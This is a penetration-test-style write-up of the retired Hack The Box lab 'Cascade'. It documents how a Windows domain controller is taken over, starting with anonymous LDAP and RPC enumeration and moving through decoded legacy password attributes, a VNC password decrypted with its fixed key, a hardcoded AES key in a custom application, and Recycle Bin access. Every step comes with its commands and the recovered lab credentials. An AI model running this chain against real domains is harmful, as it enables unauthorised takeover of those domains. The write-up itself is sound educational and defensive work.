PENETRATION TEST REPORT

CASCADE

Security Assessment: Active Directory Domain Controller & Custom Application Credential Handling

Target host	10.129.60.223 (CASC-DC1.CASCADE.LOCAL)
Operating system	Windows Server 2008 R2 SP1
Role	Active Directory Domain Controller (cascade.local)
Engagement type	Internal Network Penetration Test (black-box)
Assessor	Álvaro Irún Brea, Domain Security
Report date	11 September 2026
Reference	DS-PT-2026-003
Classification	CONFIDENTIAL

Confidentiality Notice

This document contains confidential information about the security posture of the assessed environment. It is intended solely for the recipient organisation and authorised personnel. The findings describe vulnerabilities that could be leveraged to compromise the environment; distribution should therefore be restricted. This report is a laboratory exercise conducted against the retired Hack The Box machine "Cascade", written up as a professional penetration test report to demonstrate methodology, reporting standards, and remediation guidance.

Table of Contents

1. Executive Summary

An internal network penetration test was performed against a Windows Server 2008 R2 Active Directory Domain Controller (cascade.local). The engagement simulated an unauthenticated attacker who has gained a foothold on the internal network, with no prior credentials or knowledge of the environment.

The assessment resulted in full compromise of the domain. Starting with no credentials whatsoever, the assessor enumerated the domain user list anonymously, recovered a working credential from a custom, non-standard directory attribute left over from a legacy password migration, and used it to pivot through a chain of file-share artefacts, a VNC configuration protected only by a well-known fixed encryption key, and a custom audit application whose own encryption key was hardcoded in its binaries. That chain ultimately reached a service account with delegated rights over the Active Directory Recycle Bin, which held a temporary migration account that had been deleted rather than purged, and which still carried the same legacy attribute, this time holding a password shared with the domain's real Administrator account.

No software exploit or 0-day was required anywhere in this chain. The common thread throughout is homegrown, reversible credential protection standing in for real secret management: a custom directory attribute instead of a proper credential vault, a decades-old fixed-key obfuscation scheme instead of no stored password at all, and a hardcoded application encryption key instead of a managed secret. Each link was individually recoverable with basic tooling; together they delivered Domain Administrator.

Overall risk rating: CRITICAL

Because an attacker with no starting credentials was able to reach full domain administrative control through entirely unauthenticated and low-privileged starting points, the overall risk to the environment is rated CRITICAL.

Findings at a glance

ID	Finding	Severity	CVSS
F-01	Anonymous RPC and LDAP enumeration of domain users	MEDIUM	5.3
F-02	Working credential recoverable from a custom directory attribute	HIGH	7.5
F-03	VNC password protected only by a well-known fixed encryption key	HIGH	6.5
F-04	Hardcoded encryption key in a custom internal application	HIGH	6.5
F-05	Full domain compromise via AD Recycle Bin and password reuse on a migration account	CRITICAL	9.8

2. Scope & Methodology

2.1 Scope

The engagement was limited to a single in-scope host, assessed from the perspective of an attacker positioned on the internal network with no prior credentials or knowledge of the environment (black-box).

- **In scope:** 10.129.60.223 (CASC-DC1.CASCADE.LOCAL)
- **Excluded:** denial-of-service testing, social engineering, and physical attacks were out of scope.
- **Rules of engagement:** testing was authorised against this host only; all activity was non-destructive.

2.2 Methodology

The assessment followed a standard penetration-testing lifecycle aligned with the PTES (Penetration Testing Execution Standard) and the enumeration-first mindset appropriate to Active Directory environments:

- **Reconnaissance & enumeration**: full TCP port scan, service/version fingerprinting, and identification of the host's role in the domain.
- **Unauthenticated enumeration**: RPC null-session and anonymous LDAP bind testing to recover the domain user list and, crucially, a full unfiltered attribute dump rather than a single field.
- **Initial access**: decoding a non-standard directory attribute into a working credential.
- **Lateral movement**: file-share enumeration and recovery of two further credentials protected only by reversible, homegrown or well-known-key encryption schemes.
- **Privilege escalation**: abusing a delegated Active Directory Recycle Bin membership to reach a deleted, high-value migration account whose credential was still recoverable.
- **Reporting**: documentation of each finding with evidence, impact, CVSS scoring and remediation.

2.3 Tooling

The following industry-standard tools were used: Nmap (port scanning and service detection), rpcclient and enum4linux-ng (RPC/SMB null-session enumeration), Kerbrute (username validation), NetExec (authentication testing and share enumeration), ldapsearch (anonymous LDAP enumeration, including full unfiltered attribute dumps), smbclient and evil-winrm (SMB and WinRM access), the PowerShell Active Directory module (Recycle Bin queries), and Python with PyCryptodome for reproducing the target's own VNC and custom AES decryption routines after recovering their keys via static binary analysis (strings).

3. Attack Narrative

This section walks through the full attack chain in the order it was executed, showing how five independent weaknesses combined to escalate from zero access to full domain compromise. Each numbered weakness is documented in detail in Section 4.

3.1 Reconnaissance

A full TCP port scan identified the host as an Active Directory Domain Controller for the domain cascade.local, running an older Windows Server 2008 R2 base.

```
nmap -sC -sV -p- -oN nmap-cascade.txt 10.129.60.223

53/tcp   open  domain        Microsoft DNS
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
389/tcp  open  ldap          Microsoft Windows AD LDAP (Domain: cascade.local)
445/tcp  open  microsoft-ds
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (WinRM)
```

3.2 Unauthenticated enumeration (F-01)

RPC accepted a null session and LDAP accepted an anonymous bind, both disclosing the domain's user accounts. Rather than requesting a single attribute, a full unfiltered dump of every object was taken, which proved decisive in the next step.

```
rpcclient -U "" -N 10.129.60.223 -c enumdomusers
  [15 domain user accounts enumerated]

ldapsearch -x -H ldap://10.129.60.223 -b "dc=cascade,dc=local" "(objectClass=user)"
  [full, unfiltered attribute dump of every user object]
```

3.3 Initial access: a legacy credential attribute (F-02)

The unfiltered LDAP dump revealed a non-standard, organisation-specific attribute named *cascadeLegacyPwd* on one user account, holding a Base64-encoded value. Decoding it directly yielded that account's working password, no cracking required.

```
cascadeLegacyPwd: clk0bjVldmE=
$ echo 'clk0bjVldmE=' | base64 -d
rY4n5eva
  -> r.thompson:rY4n5eva (valid over SMB)
```

3.4 Lateral movement I: a VNC configuration (F-03)

The recovered account could read a general-purpose file share, including an IT staff member's temporary profile folder containing an exported VNC server registry key. VNC obfuscates its stored password with a fixed, publicly known DES key rather than a real secret, so the value decrypted directly to a second working credential.

```
"Password"=hex:6b,cf,2a,4b,6e,5a,ca,0f
DES-ECB decrypt with the well-known fixed VNC key (e84ad660c4721ae0)
  -> s.smith:sT333ve2
```

3.5 Lateral movement II: a custom application's hardcoded key (F-04)

The second account unlocked an additional share hosting a small, custom-built .NET audit application together with its own SQLite database. The database stored a service account's password AES-encrypted, and the application's own binaries, recoverable directly from the file share, contained the hardcoded AES key and IV in plain sight.

```
sqlite3 Audit.db ".dump"
  INSERT INTO Ldap VALUES(1,'ArkSvc','BQO5l5Kj9MdErXx6Q6AGOw==','cascade.local')

strings -el CascCrypto.dll   -> IV:  1tdyjCbY1Ix49842
strings -el CascAudit.exe    -> Key: c4scadek3y654321

AES-128-CBC decrypt -> ArkSvc:w3lc0meFr31nd
```

3.6 Privilege escalation to Domain Administrator (F-05)

The service account belonged to a custom "AD Recycle Bin" group with delegated rights to view deleted directory objects. A temporary account created for a past network migration had been moved to the Recycle Bin rather than fully purged, and it still carried the same legacy credential attribute seen in step 3.3, this time decoding to a password documented internally as identical to the domain's real Administrator account at the time.

```
Get-ADObject -Filter 'isDeleted -eq $true' -IncludeDeletedObjects -Properties *
  TempAdmin  cascadeLegacyPwd: YmFDVDNyMWFOMDBkbGVz

$ echo 'YmFDVDNyMWFOMDBkbGVz' | base64 -d
baCT3r1aN00dles

evil-winrm -i 10.129.60.223 -u Administrator -p 'baCT3r1aN00dles'
  -> full domain compromise confirmed
```

4. Detailed Findings

F-01: Anonymous RPC and LDAP enumeration of domain users

Severity	**MEDIUM** **(5.3)**
CVSS vector	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Affected asset	RPC (445) and LDAP (389) services on the Domain Controller

Description

The Domain Controller accepted an RPC null session and an anonymous LDAP bind, allowing an unauthenticated attacker to enumerate the complete list of domain user accounts. Crucially, LDAP also permitted a full, unfiltered dump of every attribute on every user object, not merely the standard fields returned by a targeted query.

Evidence

```
rpcclient -U "" -N 10.129.60.223 -c enumdomusers
  [15 domain user accounts enumerated]

ldapsearch -x -H ldap://10.129.60.223 -b "dc=cascade,dc=local" "(objectClass=user)"
  [full attribute dump returned with no credentials supplied]
```

Impact

Disclosure of the full domain user list and, because the LDAP query was unfiltered, every custom attribute set on those accounts. This directly enabled the credential exposure described in F-02.

Remediation

- Restrict anonymous LDAP bind and RPC/SMB null-session access on all Domain Controllers.
- Review LDAP interface security descriptors and audit for legacy anonymous-access exceptions.
- Monitor for anonymous LDAP/SMB/RPC enumeration attempts.

References

- MITRE ATT&CK T1087: Account Discovery

F-02: Working credential recoverable from a custom directory attribute

Severity	**HIGH** **(7.5)**
CVSS vector	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Affected asset	cascadeLegacyPwd attribute on domain user objects

Description

A non-standard, organisation-specific LDAP attribute (cascadeLegacyPwd), evidently left over from a legacy password migration, stored a Base64-encoded value on a user object. Base64 is an encoding, not encryption, so the value decoded directly to that account's working password with no cracking or brute-forcing required, and was readable by any unauthenticated user via the anonymous LDAP bind identified in F-01.

Evidence

```
cascadeLegacyPwd: clk0bjVldmE=
$ echo 'clk0bjVldmE=' | base64 -d
rY4n5eva
```

Impact

An unauthenticated attacker obtains a real, working domain credential with zero effort beyond decoding a text string. This was the initial foothold for the entire remainder of the assessment.

Remediation

- Remove the cascadeLegacyPwd attribute and any values still present on active or deleted objects.
- Never store credentials, encoded or otherwise, in custom directory attributes; use a managed secrets vault.
- Complete the apparent password migration this attribute was created for, and audit the domain for any other legacy or forgotten credential stores.

References

- MITRE ATT&CK T1552: Unsecured Credentials
- MITRE ATT&CK T1087: Account Discovery

F-03: VNC password protected only by a well-known fixed encryption key

Severity	**HIGH** **(6.5)**
CVSS vector	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Affected asset	Data (SMB) share; exported TightVNC registry configuration

Description

A file share reachable with the F-02 credential contained an exported VNC server registry key with its password field populated. VNC products obfuscate this value using a fixed DES key that is identical across installations and has been public for years, so it offers no real confidentiality once the encoded value is exposed.

Evidence

```
"Password"=hex:6b,cf,2a,4b,6e,5a,ca,0f
DES-ECB decrypt with fixed key e84ad660c4721ae0
  -> s.smith:sT333ve2
```

Impact

Recovery of a second, more useful domain credential, enabling further lateral movement (see F-04). Any exported VNC configuration reachable by an attacker should be treated as an exposed cleartext password.

Remediation

- Remove or restrict access to exported VNC registry files; they should never be left on a general-purpose file share.
- Disable VNC where not operationally required, or replace it with an authentication method that does not rely on a fixed vendor-wide key.
- Audit file shares for other configuration exports (RDP, database clients, deployment tools) that may embed similarly weak or reversible credentials.

References

- MITRE ATT&CK T1552.001: Unsecured Credentials: Credentials In Files

F-04: Hardcoded encryption key in a custom internal application

Severity	**HIGH** **(6.5)**
CVSS vector	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Affected asset	Audit$ share; CascAudit.exe / CascCrypto.dll custom application and its SQLite database

Description

A second file share hosted a custom-built internal audit application, its supporting encryption library, and the SQLite database it operates on. The database stored a service account's password AES-encrypted, but the AES key and initialisation vector were hardcoded directly in the application's own binaries and recoverable with basic static analysis, with no reverse engineering of the encryption logic required beyond that.

Evidence

```
sqlite3 Audit.db ".dump"
  INSERT INTO Ldap VALUES(1,'ArkSvc','BQO5l5Kj9MdErXx6Q6AGOw==','cascade.local')

strings -el CascCrypto.dll  ->  1tdyjCbY1Ix49842  (IV)
strings -el CascAudit.exe   ->  c4scadek3y654321  (Key)

AES-128-CBC decrypt -> ArkSvc:w3lc0meFr31nd
```

Impact

Full compromise of the service account's credential, which in turn carried delegated Active Directory Recycle Bin rights, the pivot point for full domain compromise (see F-05).

Remediation

- Never hardcode cryptographic keys or initialisation vectors in application binaries; source them at runtime from a managed secrets store or protected OS-level mechanism (e.g. DPAPI).
- Restrict access to the Audit$ share to the service account and dedicated administrators only.
- Rotate the ArkSvc credential and review the audit application for further embedded secrets.

References

- MITRE ATT&CK T1552: Unsecured Credentials
- CWE-321: Use of Hard-coded Cryptographic Key

F-05: Full domain compromise via AD Recycle Bin and password reuse on a migration account

Severity	**CRITICAL** **(9.8)**
CVSS vector	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Affected asset	Active Directory Recycle Bin (Deleted Objects container); TempAdmin account; Domain Administrator account

Description

The compromised service account belonged to a custom group delegated rights to view objects in the Active Directory Recycle Bin. A temporary account created for a past network migration (TempAdmin) had been deleted at the end of that project but only moved to the Recycle Bin, not fully purged, leaving it, and every attribute it carried, fully readable. It still held the same legacy credential attribute identified in F-02, and internal documentation confirmed its password was, at the time, identical to the domain's real Administrator account.

Evidence

```
Get-ADObject -Filter 'isDeleted -eq $true' -IncludeDeletedObjects -Properties *
  TempAdmin  cascadeLegacyPwd: YmFDVDNyMWFOMDBkbGVz

$ echo 'YmFDVDNyMWFOMDBkbGVz' | base64 -d
baCT3r1aN00dles

evil-winrm -i 10.129.60.223 -u Administrator -p 'baCT3r1aN00dles'
  -> full domain compromise confirmed
```

Impact

Complete and irreversible compromise of the entire Active Directory domain: an attacker gains full control over all accounts, all domain-joined computers, and all data, and can establish persistence that is extremely difficult to eradicate.

Remediation

- Fully purge the deleted TempAdmin object and any other stale accounts recoverable from the Recycle Bin.
- Treat delegated Recycle Bin rights as tier-0 sensitive; restrict and audit membership of any group holding them.
- Never reuse a password between a temporary/migration account and a genuine administrative account, even briefly.
- Rotate the Domain Administrator password and review all recent authentication events for signs of abuse.

References

- MITRE ATT&CK T1078.002: Valid Accounts: Domain Accounts
- MITRE ATT&CK T1552: Unsecured Credentials

5. Recommendations

The following prioritised actions would break the demonstrated attack chain. Because each link is independent, remediating even a subset materially reduces risk; addressing all of them removes the demonstrated path to domain compromise entirely.

Immediate (break the attack chain now)

- Rotate every credential recovered during this assessment, including the Domain Administrator account.
- Remove the *cascadeLegacyPwd* attribute (and any similar custom attribute) from the schema or, at minimum, purge its values across all objects, including deleted ones still held in the Recycle Bin.
- Fully purge the deleted *TempAdmin* object rather than leaving it recoverable, and review the AD Recycle Bin for any other stale privileged accounts.
- Disable VNC on this host if it is not required for operational purposes, or migrate to an authentication scheme that does not rely on a fixed, publicly documented obfuscation key.
- Remove the hardcoded encryption key from the custom audit application and rotate any credential it protects.

Strategic (harden the environment)

- Disable anonymous LDAP and RPC/SMB null-session access on all Domain Controllers.
- Ban the practice of storing credentials, however encoded, in custom directory attributes; use a managed secrets vault instead.
- Establish a secure development standard for internal tooling that forbids hardcoded cryptographic keys; use per-deployment secrets pulled from a vault or protected configuration store (e.g. DPAPI, a KMS-backed secret).
- Treat delegated rights over the Active Directory Recycle Bin as tier-0 sensitive, and audit membership of any group holding them.
- Establish a formal offboarding process for temporary/migration accounts that includes credential rotation of any account that ever shared a password with them, not just deletion of the account itself.

Appendix A: Ratings & Disclaimer

A.1 Severity ratings

Findings are scored using CVSS v3.1. Severity bands are interpreted as follows:

Severity	CVSS	Interpretation
Critical	9.0 – 10.0	Trivial path to full compromise; remediate immediately.
High	7.0 – 8.9	Significant risk; remediate as a priority.
Medium	4.0 – 6.9	Meaningful risk, typically as part of a chain; schedule remediation.
Low	0.1 – 3.9	Limited impact; remediate as resources allow.

A.2 Disclaimer

This report reflects the security posture of the target at the time of testing and is not a guarantee that no other vulnerabilities exist. It documents a laboratory exercise against the retired Hack The Box machine "Cascade", produced as a professional-format penetration test report for portfolio and educational purposes. All testing was authorised within the Hack The Box platform's terms of service.